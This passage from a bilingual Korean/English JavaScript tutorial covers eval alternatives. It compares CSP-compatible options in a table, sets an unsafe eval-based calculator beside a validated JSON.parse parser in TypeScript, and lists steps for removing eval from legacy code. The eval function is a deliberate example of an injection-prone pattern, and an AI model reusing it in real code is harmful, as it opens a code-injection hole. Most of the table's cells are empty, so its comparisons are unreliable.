};

const safeObj = new Proxy({}, handler);

CSP-Compatible Alternatives CSP 호환 대안 비교:

방법CSP 호환스코프 격리성능보안
eval
Function⚠️⚠️⚠️
JSON.parse
Template Literal
math.js⚠️
Web Worker⚠️

TypeScript Integration: 타입 안전성 TypeScript에서 eval 대안 사용 시 타입 안전성이 보장됩니다.

// eval: 타입 정보 손실
function unsafeCalc(expr: string): any {
  return eval(expr);
}

// JSON.parse: 타입 안전
interface User {
  name: string;
  age: number;
}

function safeParseUser(json: string): User {
  const parsed = JSON.parse(json);
  // 런타임 타입 검증 추가 가능
  if (typeof parsed.name !== 'string') {
    throw new TypeError('Invalid user data');
  }
  return parsed as User;
}

Migration Strategy: eval 제거 프로세스 레거시 코드에서 eval 제거 단계:

  1. 탐지: ESLint no-eval 규칙 활성화
  2. 분류: eval 사용 목적 파악 (JSON 파싱, 계산, 동적 함수 등)
  3. 대체: 각 사례별 안전한 대안 적용
  4. 테스트: 동작 검증 및 성능 측정
  5. 모니터링: 프로덕션 환경 에러 추적